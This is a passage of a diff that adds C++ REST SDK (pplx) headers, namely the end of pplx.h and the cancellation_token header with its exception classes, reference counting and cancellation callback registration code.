|
{
|
||||||
|
// We do not yet have the ability to determine the current task. So return false always
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
private:
|
||||||
|
extensibility::event_t _M_Completed;
|
||||||
|
scheduler_ptr _M_pScheduler;
|
||||||
|
};
|
||||||
|
|
||||||
|
// For create_async lambdas that return a (non-task) result, we oversubscriber the current task for the duration of the
|
||||||
|
// lambda.
|
||||||
|
struct _Task_generator_oversubscriber
|
||||||
|
{
|
||||||
|
};
|
||||||
|
|
||||||
|
typedef _TaskCollectionImpl _TaskCollection_t;
|
||||||
|
typedef _TaskInliningMode _TaskInliningMode_t;
|
||||||
|
typedef _Task_generator_oversubscriber _Task_generator_oversubscriber_t;
|
||||||
|
|
||||||
|
} // namespace details
|
||||||
|
|
||||||
|
} // namespace pplx
|
||||||
|
|
||||||
|
#pragma pack(pop)
|
||||||
|
#if defined(_MSC_VER)
|
||||||
|
#pragma warning(pop)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif // _PPLX_H
|
|
@ -0,0 +1,920 @@
|
||||||
|
/***
|
||||||
|
* Copyright (C) Microsoft. All rights reserved.
|
||||||
|
* Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.
|
||||||
|
*
|
||||||
|
* =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
|
||||||
|
*
|
||||||
|
* Parallel Patterns Library : cancellation_token
|
||||||
|
*
|
||||||
|
* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||||||
|
****/
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#ifndef _PPLX_H
|
||||||
|
#error This header must not be included directly
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef _PPLXCANCELLATION_TOKEN_H
|
||||||
|
#define _PPLXCANCELLATION_TOKEN_H
|
||||||
|
|
||||||
|
#if (defined(_MSC_VER) && (_MSC_VER >= 1800)) && !CPPREST_FORCE_PPLX
|
||||||
|
#error This file must not be included for Visual Studio 12 or later
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#include "Common/CppRestSdk/include/pplx/pplxinterface.h"
|
||||||
|
#include <cstdlib>
|
||||||
|
#include <string>
|
||||||
|
|
||||||
|
#pragma pack(push, _CRT_PACKING)
|
||||||
|
// All header files are required to be protected from the macro new
|
||||||
|
#pragma push_macro("new")
|
||||||
|
#undef new
|
||||||
|
|
||||||
|
namespace pplx
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// This class describes an exception thrown by the PPL tasks layer in order to force the current task
|
||||||
|
/// to cancel. It is also thrown by the <c>get()</c> method on <see cref="task Class">task</see>, for a
|
||||||
|
/// canceled task.
|
||||||
|
/// </summary>
|
||||||
|
/// <seealso cref="task::get Method"/>
|
||||||
|
/// <seealso cref="cancel_current_task Method"/>
|
||||||
|
/**/
|
||||||
|
class task_canceled : public std::exception
|
||||||
|
{
|
||||||
|
private:
|
||||||
|
std::string _message;
|
||||||
|
|
||||||
|
public:
|
||||||
|
/// <summary>
|
||||||
|
/// Constructs a <c>task_canceled</c> object.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="_Message">
|
||||||
|
/// A descriptive message of the error.
|
||||||
|
/// </param>
|
||||||
|
/**/
|
||||||
|
explicit task_canceled(_In_z_ const char* _Message) throw() : _message(_Message) {}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Constructs a <c>task_canceled</c> object.
|
||||||
|
/// </summary>
|
||||||
|
/**/
|
||||||
|
task_canceled() throw() : exception() {}
|
||||||
|
|
||||||
|
~task_canceled() throw() {}
|
||||||
|
|
||||||
|
const char* what() const CPPREST_NOEXCEPT { return _message.c_str(); }
|
||||||
|
};
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// This class describes an exception thrown when an invalid operation is performed that is not more accurately
|
||||||
|
/// described by another exception type thrown by the Concurrency Runtime.
|
||||||
|
/// </summary>
|
||||||
|
/// <remarks>
|
||||||
|
/// The various methods which throw this exception will generally document under what circumstances they will throw
|
||||||
|
/// it.
|
||||||
|
/// </remarks>
|
||||||
|
/**/
|
||||||
|
class invalid_operation : public std::exception
|
||||||
|
{
|
||||||
|
private:
|
||||||
|
std::string _message;
|
||||||
|
|
||||||
|
public:
|
||||||
|
/// <summary>
|
||||||
|
/// Constructs an <c>invalid_operation</c> object.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="_Message">
|
||||||
|
/// A descriptive message of the error.
|
||||||
|
/// </param>
|
||||||
|
/**/
|
||||||
|
invalid_operation(_In_z_ const char* _Message) throw() : _message(_Message) {}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Constructs an <c>invalid_operation</c> object.
|
||||||
|
/// </summary>
|
||||||
|
/**/
|
||||||
|
invalid_operation() throw() : exception() {}
|
||||||
|
|
||||||
|
~invalid_operation() throw() {}
|
||||||
|
|
||||||
|
const char* what() const CPPREST_NOEXCEPT { return _message.c_str(); }
|
||||||
|
};
|
||||||
|
|
||||||
|
namespace details
|
||||||
|
{
|
||||||
|
// Base class for all reference counted objects
|
||||||
|
class _RefCounter
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
virtual ~_RefCounter() { _ASSERTE(_M_refCount == 0); }
|
||||||
|
|
||||||
|
// Acquires a reference
|
||||||
|
// Returns the new reference count.
|
||||||
|
long _Reference()
|
||||||
|
{
|
||||||
|
long _Refcount = atomic_increment(_M_refCount);
|
||||||
|
|
||||||
|
// 0 - 1 transition is illegal
|
||||||
|
_ASSERTE(_Refcount > 1);
|
||||||
|
return _Refcount;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Releases the reference
|
||||||
|
// Returns the new reference count
|
||||||
|
long _Release()
|
||||||
|
{
|
||||||
|
long _Refcount = atomic_decrement(_M_refCount);
|
||||||
|
_ASSERTE(_Refcount >= 0);
|
||||||
|
|
||||||
|
if (_Refcount == 0)
|
||||||
|
{
|
||||||
|
_Destroy();
|
||||||
|
}
|
||||||
|
|
||||||
|
return _Refcount;
|
||||||
|
}
|
||||||
|
|
||||||
|
protected:
|
||||||
|
// Allow derived classes to provide their own deleter
|
||||||
|
virtual void _Destroy() { delete this; }
|
||||||
|
|
||||||
|
// Only allow instantiation through derived class
|
||||||
|
_RefCounter(long _InitialCount = 1) : _M_refCount(_InitialCount) { _ASSERTE(_M_refCount > 0); }
|
||||||
|
|
||||||
|
// Reference count
|
||||||
|
atomic_long _M_refCount;
|
||||||
|
};
|
||||||
|
|
||||||
|
class _CancellationTokenState;
|
||||||
|
|
||||||
|
class _CancellationTokenRegistration : public _RefCounter
|
||||||
|
{
|
||||||
|
private:
|
||||||
|
static const long _STATE_CLEAR = 0;
|
||||||
|
static const long _STATE_DEFER_DELETE = 1;
|
||||||
|
static const long _STATE_SYNCHRONIZE = 2;
|
||||||
|
static const long _STATE_CALLED = 3;
|
||||||
|
|
||||||
|
public:
|
||||||
|
_CancellationTokenRegistration(long _InitialRefs = 1)
|
||||||
|
: _RefCounter(_InitialRefs), _M_state(_STATE_CALLED), _M_pTokenState(NULL)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
_CancellationTokenState* _GetToken() const { return _M_pTokenState; }
|
||||||
|
|
||||||
|
protected:
|
||||||
|
virtual ~_CancellationTokenRegistration() { _ASSERTE(_M_state != _STATE_CLEAR); }
|
||||||
|
|
||||||
|
virtual void _Exec() = 0;
|
||||||
|
|
||||||
|
private:
|
||||||
|
friend class _CancellationTokenState;
|
||||||
|
|
||||||
|
void _Invoke()
|
||||||
|
{
|
||||||
|
long tid = ::pplx::details::platform::GetCurrentThreadId();
|
||||||
|
_ASSERTE((tid & 0x3) == 0); // If this ever fires, we need a different encoding for this.
|
||||||
|
|
||||||
|
long result = atomic_compare_exchange(_M_state, tid, _STATE_CLEAR);
|
||||||
|
|
||||||
|
if (result == _STATE_CLEAR)
|
||||||
|
{
|
||||||
|
_Exec();
|
||||||
|
|
||||||
|
result = atomic_compare_exchange(_M_state, _STATE_CALLED, tid);
|
||||||
|
|
||||||
|
if (result == _STATE_SYNCHRONIZE)
|
||||||
|
{
|
||||||
|
_M_pSyncBlock->set();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
_Release();
|
||||||
|
}
|
||||||
|
|
||||||
|
atomic_long _M_state;
|
||||||
|
extensibility::event_t* _M_pSyncBlock;
|
||||||
|
_CancellationTokenState* _M_pTokenState;
|
||||||
|
};
|
||||||
|
|
||||||
|
template<typename _Function>
|
||||||
|
class _CancellationTokenCallback : public _CancellationTokenRegistration
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
_CancellationTokenCallback(const _Function& _Func) : _M_function(_Func) {}
|
||||||
|
|
||||||
|
protected:
|
||||||
|
virtual void _Exec() { _M_function(); }
|
||||||
|
|
||||||
|
private:
|
||||||
|
_Function _M_function;
|
||||||
|
};
|
||||||
|
|
||||||
|
class CancellationTokenRegistration_TaskProc : public _CancellationTokenRegistration
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
CancellationTokenRegistration_TaskProc(TaskProc_t proc, _In_ void* pData, int initialRefs)
|
||||||
|
: _CancellationTokenRegistration(initialRefs), m_proc(proc), m_pData(pData)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
protected:
|
||||||
|
virtual void _Exec() { m_proc(m_pData); }
|
||||||
|
|
||||||
|
private:
|
||||||
|
TaskProc_t m_proc;
|
||||||
|
void* m_pData;
|
||||||
|
};
|
||||||
|
|
||||||
|
// The base implementation of a cancellation token.
|
||||||
|
class _CancellationTokenState : public _RefCounter
|
||||||
|
{
|
||||||
|
protected:
|
||||||
|
class TokenRegistrationContainer
|
||||||
|
{
|
||||||
|
private:
|
||||||
|
typedef struct _Node
|
||||||
|
{
|
||||||
|
_CancellationTokenRegistration* _M_token;
|
||||||
|
_Node* _M_next;
|
||||||
|
} Node;
|
||||||
|
|
||||||
|
public:
|
||||||
|
TokenRegistrationContainer() : _M_begin(nullptr), _M_last(nullptr) {}
|
||||||
|
|
||||||
|
~TokenRegistrationContainer()
|
||||||
|
{
|
||||||
|
#if defined(_MSC_VER)
|
||||||
|
#pragma warning(push)
|
||||||
|
#pragma warning(disable : 6001)
|
||||||
|
#endif
|
||||||
|
auto node = _M_begin;
|
||||||
|
while (node != nullptr)
|
||||||
|
{
|
||||||
|
Node* tmp = node;
|
||||||
|
node = node->_M_next;
|
||||||
|
::free(tmp);
|
||||||
|
}
|
||||||
|
#if defined(_MSC_VER)
|
||||||
|
#pragma warning(pop)
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
void swap(TokenRegistrationContainer& list)
|
||||||
|
{
|
||||||
|
std::swap(list._M_begin, _M_begin);
|
||||||
|
std::swap(list._M_last, _M_last);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool empty() { return _M_begin == nullptr; }
|
||||||
|
|
||||||
|
template<typename T>
|
||||||
|
void for_each(T lambda)
|
||||||
|
{
|
||||||
|
Node* node = _M_begin;
|
||||||
|
|
||||||
|
while (node != nullptr)
|
||||||
|
{
|
||||||
|
lambda(node->_M_token);
|
||||||
|
node = node->_M_next;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void push_back(_CancellationTokenRegistration* token)
|
||||||
|
{
|
||||||
|
Node* node = reinterpret_cast<Node*>(::malloc(sizeof(Node)));
|
||||||
|
if (node == nullptr)
|
||||||
|
{
|
||||||
|
throw ::std::bad_alloc();
|
||||||
|
}
|
||||||
|
|
||||||
|
node->_M_token = token;
|
||||||
|
node->_M_next = nullptr;
|
||||||
|
|
||||||
|
if (_M_begin == nullptr)
|
||||||
|
{
|
||||||
|
_M_begin = node;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
_M_last->_M_next = node;
|
||||||
|
}
|
||||||
|
|
||||||
|
_M_last = node;
|
||||||
|
}
|
||||||
|
|
||||||
|
void remove(_CancellationTokenRegistration* token)
|
||||||
|
{
|
||||||
|
Node* node = _M_begin;
|
||||||
|
Node* prev = nullptr;
|
||||||
|
|
||||||
|
while (node != nullptr)
|
||||||
|
{
|
||||||
|
if (node->_M_token == token)
|
||||||
|
{
|
||||||
|
if (prev == nullptr)
|
||||||
|
{
|
||||||
|
_M_begin = node->_M_next;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
prev->_M_next = node->_M_next;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (node->_M_next == nullptr)
|
||||||
|
{
|
||||||
|
_M_last = prev;
|
||||||
|
}
|
||||||
|
|
||||||
|
::free(node);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
prev = node;
|
||||||
|
node = node->_M_next;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private:
|
||||||
|
Node* _M_begin;
|
||||||
|
Node* _M_last;
|
||||||
|
};
|
||||||
|
|
||||||
|
public:
|
||||||
|
static _CancellationTokenState* _NewTokenState() { return new _CancellationTokenState(); }
|
||||||
|
|
||||||
|
static _CancellationTokenState* _None() { return reinterpret_cast<_CancellationTokenState*>(2); }
|
||||||
|
|
||||||
|
static bool _IsValid(_In_opt_ _CancellationTokenState* _PToken) { return (_PToken != NULL && _PToken != _None()); }
|
||||||
|
|
||||||
|
_CancellationTokenState() : _M_stateFlag(0) {}
|
||||||
|
|
||||||
|
~_CancellationTokenState()
|
||||||
|
{
|
||||||
|
TokenRegistrationContainer rundownList;
|
||||||
|
{
|
||||||
|
extensibility::scoped_critical_section_t _Lock(_M_listLock);
|
||||||
|
_M_registrations.swap(rundownList);
|
||||||
|
}
|
||||||
|
|
||||||
|
rundownList.for_each([](_CancellationTokenRegistration* pRegistration) {
|
||||||
|
pRegistration->_M_state = _CancellationTokenRegistration::_STATE_SYNCHRONIZE;
|
||||||
|
pRegistration->_Release();
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
bool _IsCanceled() const { return (_M_stateFlag != 0); }
|
||||||
|
|
||||||
|
void _Cancel()
|
||||||
|
{
|
||||||
|
if (atomic_compare_exchange(_M_stateFlag, 1l, 0l) == 0)
|
||||||
|
{
|
||||||
|
TokenRegistrationContainer rundownList;
|
||||||
|
{
|
||||||
|
extensibility::scoped_critical_section_t _Lock(_M_listLock);
|
||||||
|
_M_registrations.swap(rundownList);
|
||||||
|
}
|
||||||
|
|
||||||
|
rundownList.for_each([](_CancellationTokenRegistration* pRegistration) { pRegistration->_Invoke(); });
|
||||||
|
|
||||||
|
_M_stateFlag = 2;
|
||||||
|
_M_cancelComplete.set();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
_CancellationTokenRegistration* _RegisterCallback(TaskProc_t _PCallback, _In_ void* _PData, int _InitialRefs = 1)
|
||||||
|
{
|
||||||
|
_CancellationTokenRegistration* pRegistration =
|
||||||
|
new CancellationTokenRegistration_TaskProc(_PCallback, _PData, _InitialRefs);
|
||||||
|
_RegisterCallback(pRegistration);
|
||||||
|
return pRegistration;
|
||||||
|
}
|
||||||
|
|
||||||
|
void _RegisterCallback(_In_ _CancellationTokenRegistration* _PRegistration)
|
||||||
|
{
|
||||||
|
_PRegistration->_M_state = _CancellationTokenRegistration::_STATE_CLEAR;
|
||||||
|
_PRegistration->_Reference();
|
||||||
|
_PRegistration->_M_pTokenState = this;
|
||||||
|
|
||||||
|
bool invoke = true;
|
||||||
|
|
||||||
|
if (!_IsCanceled())
|
||||||
|
{
|
||||||
|
extensibility::scoped_critical_section_t _Lock(_M_listLock);
|
||||||
|
|
||||||
|
if (!_IsCanceled())
|
||||||
|
{
|
||||||
|
invoke = false;
|
||||||
|
_M_registrations.push_back(_PRegistration);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (invoke)
|
||||||
|
{
|
||||||
|
_PRegistration->_Invoke();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void _DeregisterCallback(_In_ _CancellationTokenRegistration* _PRegistration)
|
||||||
|
{
|
||||||
|
bool synchronize = false;
|
||||||
|
|
||||||
|
{
|
||||||
|
extensibility::scoped_critical_section_t _Lock(_M_listLock);
|
||||||
|
|
||||||
|
//
|
||||||
|
// If a cancellation has occurred, the registration list is guaranteed to be empty if we've observed it
|
||||||
|
// under the auspices of the lock. In this case, we must synchronize with the canceling thread to guarantee
|
||||||
|
// that the cancellation is finished by the time we return from this method.
|
||||||
|
//
|
||||||
|
if (!_M_registrations.empty())
|
||||||
|
{
|
||||||
|
_M_registrations.remove(_PRegistration);
|
||||||
|
_PRegistration->_M_state = _CancellationTokenRegistration::_STATE_SYNCHRONIZE;
|
||||||
|
_PRegistration->_Release();
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
synchronize = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//
|
||||||
|
// If the list is empty, we are in one of several situations:
|
||||||
|
//
|
||||||
|
// - The callback has already been made --> do nothing
|
||||||
|
// - The callback is about to be made --> flag it so it doesn't happen and return
|
||||||
|
// - The callback is in progress elsewhere --> synchronize with it
|
||||||
|
// - The callback is in progress on this thread --> do nothing
|
||||||
|
//
|
||||||
|
if (synchronize)
|
||||||
|
{
|
||||||
|
long result = atomic_compare_exchange(_PRegistration->_M_state,
|
||||||
|
_CancellationTokenRegistration::_STATE_DEFER_DELETE,
|
||||||
|
_CancellationTokenRegistration::_STATE_CLEAR);
|
||||||
|
|
||||||
|
switch (result)
|
||||||
|
{
|
||||||
|
case _CancellationTokenRegistration::_STATE_CLEAR:
|
||||||
|
case _CancellationTokenRegistration::_STATE_CALLED: break;
|
||||||
|
case _CancellationTokenRegistration::_STATE_DEFER_DELETE:
|
||||||
|
case _CancellationTokenRegistration::_STATE_SYNCHRONIZE: _ASSERTE(false); break;
|
||||||
|
default:
|
||||||
|
{
|
||||||
|
long tid = result;
|
||||||
|
if (tid == ::pplx::details::platform::GetCurrentThreadId())
|
||||||
|
{
|
||||||
|
//
|
||||||
|
// It is entirely legal for a caller to Deregister during a callback instead of having to
|
||||||
|
// provide their own synchronization mechanism between the two. In this case, we do *NOT* need
|
||||||
|
// to explicitly synchronize with the callback as doing so would deadlock. If the call happens
|
||||||
|
// during, skip any extra synchronization.
|
||||||
|
//
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
extensibility::event_t ev;
|
||||||
|
_PRegistration->_M_pSyncBlock = &ev;
|
||||||
|
|
||||||
|
long result_1 =
|
||||||
|
atomic_exchange(_PRegistration->_M_state, _CancellationTokenRegistration::_STATE_SYNCHRONIZE);
|
||||||
|
|
||||||
|
if (result_1 != _CancellationTokenRegistration::_STATE_CALLED)
|
||||||
|
{
|
||||||
|
_PRegistration->_M_pSyncBlock->wait(::pplx::extensibility::event_t::timeout_infinite);
|
||||||
|
}
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private:
|
||||||
|
// The flag for the token state (whether it is canceled or not)
|
||||||
|
atomic_long _M_stateFlag;
|
||||||
|
|
||||||
|
// Notification of completion of cancellation of this token.
|
||||||
|
extensibility::event_t _M_cancelComplete; // Hmm.. where do we wait for it??
|
||||||
|
|
||||||
|
// Lock to protect the registrations list
|
||||||
|
extensibility::critical_section_t _M_listLock;
|
||||||
|
|
||||||
|
// The protected list of registrations
|
||||||
|
TokenRegistrationContainer _M_registrations;
|
||||||
|
};
|
||||||
|
|
||||||
|
} // namespace details
|
||||||
|
|
||||||
|
class cancellation_token_source;
|
||||||
|
class cancellation_token;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The <c>cancellation_token_registration</c> class represents a callback notification from a
|
||||||
|
/// <c>cancellation_token</c>. When the <c>register</c> method on a <c>cancellation_token</c> is used to receive
|
||||||
|
/// notification of when cancellation occurs, a <c>cancellation_token_registration</c> object is returned as a
|
||||||
|
/// handle to the callback so that the caller can request a specific callback no longer be made through use of the
|
||||||
|
/// <c>deregister</c> method.
|
||||||
|
/// </summary>
|
||||||
|
class cancellation_token_registration
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
cancellation_token_registration() : _M_pRegistration(NULL) {}
|
||||||
|
|
||||||
|
~cancellation_token_registration() { _Clear(); }
|
||||||
|
|
||||||
|
cancellation_token_registration(const cancellation_token_registration& _Src) { _Assign(_Src._M_pRegistration); }
|
||||||
|
|
||||||
|
cancellation_token_registration(cancellation_token_registration&& _Src) { _Move(_Src._M_pRegistration); }
|
||||||
|
|
||||||
|
cancellation_token_registration& operator=(const cancellation_token_registration& _Src)
|
||||||
|
{
|
||||||
|
if (this != &_Src)
|
||||||
|
{
|
||||||
|
_Clear();
|
||||||
|
_Assign(_Src._M_pRegistration);
|
||||||
|
}
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
|
||||||
|
cancellation_token_registration& operator=(cancellation_token_registration&& _Src)
|
||||||
|
{
|
||||||
|
if (this != &_Src)
|
||||||
|
{
|
||||||
|
_Clear();
|
||||||
|
_Move(_Src._M_pRegistration);
|
||||||
|
}
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool operator==(const cancellation_token_registration& _Rhs) const
|
||||||
|
{
|
||||||
|
return _M_pRegistration == _Rhs._M_pRegistration;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool operator!=(const cancellation_token_registration& _Rhs) const { return !(operator==(_Rhs)); }
|
||||||
|
|
||||||
|
private:
|
||||||
|
friend class cancellation_token;
|
||||||
|
|
||||||
|
cancellation_token_registration(_In_ details::_CancellationTokenRegistration* _PRegistration)
|
||||||
|
: _M_pRegistration(_PRegistration)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
void _Clear()
|
||||||
|
{
|
||||||
|
if (_M_pRegistration != NULL)
|
||||||
|
{
|
||||||
|
_M_pRegistration->_Release();
|
||||||
|
}
|
||||||
|
_M_pRegistration = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
void _Assign(_In_ details::_CancellationTokenRegistration* _PRegistration)
|
||||||
|
{
|
||||||
|
if (_PRegistration != NULL)
|
||||||
|
{
|
||||||
|
_PRegistration->_Reference();
|
||||||
|
}
|
||||||
|
_M_pRegistration = _PRegistration;
|
||||||
|
}
|
||||||
|
|
||||||
|
void _Move(_In_ details::_CancellationTokenRegistration*& _PRegistration)
|
||||||
|
{
|
||||||
|
_M_pRegistration = _PRegistration;
|
||||||
|
_PRegistration = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
details::_CancellationTokenRegistration* _M_pRegistration;
|
||||||
|
};
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The <c>cancellation_token</c> class represents the ability to determine whether some operation has been
|
||||||
|
/// requested to cancel. A given token can be associated with a <c>task_group</c>, <c>structured_task_group</c>, or
|
||||||
|
/// <c>task</c> to provide implicit cancellation. It can also be polled for cancellation or have a callback
|
||||||
|
/// registered for if and when the associated <c>cancellation_token_source</c> is canceled.
|
||||||
|
/// </summary>
|
||||||
|
class cancellation_token
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
typedef details::_CancellationTokenState* _ImplType;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Returns a cancellation token which can never be subject to cancellation.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>
|
||||||
|
/// A cancellation token that cannot be canceled.
|
||||||
|
/// </returns>
|
||||||
|
static cancellation_token none() { return cancellation_token(); }
|
||||||
|
|
||||||
|
cancellation_token(const cancellation_token& _Src) { _Assign(_Src._M_Impl); }
|
||||||
|
|
||||||
|
cancellation_token(cancellation_token&& _Src) { _Move(_Src._M_Impl); }
|
||||||
|
|
||||||
|
cancellation_token& operator=(const cancellation_token& _Src)
|
||||||
|
{
|
||||||
|
if (this != &_Src)
|
||||||
|
{
|
||||||
|
_Clear();
|
||||||
|
_Assign(_Src._M_Impl);
|
||||||
|
}
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
|
||||||
|
cancellation_token& operator=(cancellation_token&& _Src)
|
||||||
|
{
|
||||||
|
if (this != &_Src)
|
||||||
|
{
|
||||||
|
_Clear();
|
||||||
|
_Move(_Src._M_Impl);
|
||||||
|
}
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool operator==(const cancellation_token& _Src) const { return _M_Impl == _Src._M_Impl; }
|
||||||
|
|
||||||
|
bool operator!=(const cancellation_token& _Src) const { return !(operator==(_Src)); }
|
||||||
|
|
||||||
|
~cancellation_token() { _Clear(); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Returns an indication of whether this token can be canceled or not.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>
|
||||||
|
/// An indication of whether this token can be canceled or not.
|
||||||
|
/// </returns>
|
||||||
|
bool is_cancelable() const { return (_M_Impl != NULL); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Returns <c>true</c> if the token has been canceled.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>
|
||||||
|
/// The value <c>true</c> if the token has been canceled; otherwise, the value <c>false</c>.
|
||||||
|
/// </returns>
|
||||||
|
bool is_canceled() const { return (_M_Impl != NULL && _M_Impl->_IsCanceled()); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Registers a callback function with the token. If and when the token is canceled, the callback will be made.
|
||||||
|
/// Note that if the token is already canceled at the point where this method is called, the callback will be
|
||||||
|
/// made immediately and synchronously.
|
||||||
|
/// </summary>
|
||||||
|
/// <typeparam name="_Function">
|
||||||
|
/// The type of the function object that will be called back when this <c>cancellation_token</c> is canceled.
|
||||||
|
/// </typeparam>
|
||||||
|
/// <param name="_Func">
|
||||||
|
/// The function object that will be called back when this <c>cancellation_token</c> is canceled.
|
||||||
|
/// </param>
|
||||||
|
/// <returns>
|
||||||
|
/// A <c>cancellation_token_registration</c> object which can be utilized in the <c>deregister</c> method to
|
||||||
|
/// deregister a previously registered callback and prevent it from being made. The method will throw an <see
|
||||||
|
/// cref="invalid_operation Class">invalid_operation </see> exception if it is called on a
|
||||||
|
/// <c>cancellation_token</c> object that was created using the <see cref="cancellation_token::none
|
||||||
|
/// Method">cancellation_token::none </see> method.
|
||||||
|
/// </returns>
|
||||||
|
template<typename _Function>
|
||||||
|
::pplx::cancellation_token_registration register_callback(const _Function& _Func) const
|
||||||
|
{
|
||||||
|
if (_M_Impl == NULL)
|
||||||
|
{
|
||||||
|
// A callback cannot be registered if the token does not have an associated source.
|
||||||
|
throw invalid_operation();
|
||||||
|
}
|
||||||
|
#if defined(_MSC_VER)
|
||||||
|
#pragma warning(suppress : 28197)
|
||||||
|
#endif
|
||||||
|
details::_CancellationTokenCallback<_Function>* _PCallback =
|
||||||
|
new details::_CancellationTokenCallback<_Function>(_Func);
|
||||||
|
_M_Impl->_RegisterCallback(_PCallback);
|
||||||
|
return cancellation_token_registration(_PCallback);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Removes a callback previously registered via the <c>register</c> method based on the
|
||||||
|
/// <c>cancellation_token_registration</c> object returned at the time of registration.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="_Registration">
|
||||||
|
/// The <c>cancellation_token_registration</c> object corresponding to the callback to be deregistered. This
|
||||||
|
/// token must have been previously returned from a call to the <c>register</c> method.
|
||||||
|
/// </param>
|
||||||
|
void deregister_callback(const cancellation_token_registration& _Registration) const
|
||||||
|
{
|
||||||
|
_M_Impl->_DeregisterCallback(_Registration._M_pRegistration);
|
||||||
|
}
|
||||||
|
|
||||||
|
_ImplType _GetImpl() const { return _M_Impl; }
|
||||||
|
|
||||||
|
_ImplType _GetImplValue() const
|
||||||
|
{
|
||||||
|
return (_M_Impl == NULL) ? ::pplx::details::_CancellationTokenState::_None() : _M_Impl;
|
||||||
|
}
|
||||||
|
|
||||||
|
static cancellation_token _FromImpl(_ImplType _Impl) { return cancellation_token(_Impl); }
|
||||||
|
|
||||||
|
private:
|
||||||
|
friend class cancellation_token_source;
|
||||||
|
|
||||||
|
_ImplType _M_Impl;
|
||||||
|
|
||||||
|
void _Clear()
|
||||||
|
{
|
||||||
|
if (_M_Impl != NULL)
|
||||||
|
{
|
||||||
|
_M_Impl->_Release();
|
||||||
|
}
|
||||||
|
_M_Impl = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
void _Assign(_ImplType _Impl)
|
||||||
|
{
|
||||||
|
if (_Impl != NULL)
|
||||||
|
{
|
||||||
|
_Impl->_Reference();
|
||||||
|
}
|
||||||
|
_M_Impl = _Impl;
|
||||||
|
}
|
||||||
|
|
||||||
|
void _Move(_ImplType& _Impl)
|
||||||
|
{
|
||||||
|
_M_Impl = _Impl;
|
||||||
|
_Impl = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
cancellation_token() : _M_Impl(NULL) {}
|
||||||
|
|
||||||
|
cancellation_token(_ImplType _Impl) : _M_Impl(_Impl)
|
||||||
|
{
|
||||||
|
if (_M_Impl == ::pplx::details::_CancellationTokenState::_None())
|
||||||
|
{
|
||||||
|
_M_Impl = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (_M_Impl != NULL)
|
||||||
|
{
|
||||||
|
_M_Impl->_Reference();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The <c>cancellation_token_source</c> class represents the ability to cancel some cancelable operation.
|
||||||
|
/// </summary>
|
||||||
|
class cancellation_token_source
|
